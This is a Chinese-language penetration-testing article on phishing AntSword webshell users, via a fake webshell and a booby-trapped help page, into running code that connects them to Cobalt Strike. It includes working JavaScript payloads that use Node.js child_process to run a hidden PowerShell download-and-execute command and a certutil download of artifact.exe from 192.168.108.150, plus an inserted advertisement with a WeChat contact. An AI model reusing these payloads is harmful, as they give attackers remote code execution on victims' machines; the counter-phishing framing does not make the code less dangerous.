滲透測試 | 利用蟻劍釣魚上線CS

前言

中國蟻劍使用Electron構建客戶端軟件，Electron實現上用的是Node.js，并且Node.js能執行系統命令，故可以利用蟻劍的webshell頁面嵌入js來直接執行命令，進而釣魚來上線CS。（類似Goby，Goby也是使用Electron構建客戶端軟件）

關鍵實現

蟻劍在虛擬終端時，頁面上出現http/https協議頭時會發生轉換（字體會變藍，表示處于超鏈接的狀態），并且這個鏈接點開時所打開的頁面是以蟻劍內部的瀏覽器進行打開的（最新版本修復后使用用戶自帶的瀏覽器打開），因此這便是我們利用頁面執行Node.js來上線CS的好機會！

反制復現

環境準備：

想要執行系統命令需要借助頁面的加載，此時可以制造假的webshell來故意讓紅隊連接，進而一步步引導紅隊點擊惡意鏈接調用node.js進行命令執行，上鉤。

影響的版本：AntSword < =v2.1.14

AntSword下載：https://github.com/AntSwordProject/antSword/releases

開源假webshell：https://github.com/MD-SEC/Anti_AntSword

1、藍隊故意在服務器放置假的webshell進行釣魚

達到真實的效果可以添加一些提示信息，讓紅隊上鉤

<body>
AntSword password admin
</body>
</html>

紅隊需要讓其點擊的惡意鏈接（利用蟻劍自帶的幫助文檔效果最佳）

【----幫助網安學習，以下所有學習資料免費領！加vx：dctintin，備注“freebuf”獲取！】

① 網安學習成長路徑思維導圖

② 60+網安經典常用工具包

③ 100+SRC漏洞分析報告

④ 150+網安攻防實戰技術電子書

⑤ 最權威CISSP 認證考試指南+題庫

⑥ 超1800頁CTF實戰技巧手冊

⑦ 最新網安大廠面試題合集（含答案）

⑧ APP客戶端安全檢測指南（安卓+IOS）

在釣魚的幫助文檔的開頭插入惡意payload，這里利用powershell一句話上線

<script type="text/javascript">
require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.108.150:8080/a\'))"',(error, stdout, stderr)=>{     alert(`stdout: ${stdout}`); });
</script>

或者下載文件方式上線CS

</script>
<script type="text/javascript">require('child_process').exec("certutil.exe -urlcache -split -f http://192.168.108.150/artifact.exe C:/artifact.exe && C:/Windows/System32/conhost.exe C:/artifact.exe");</script>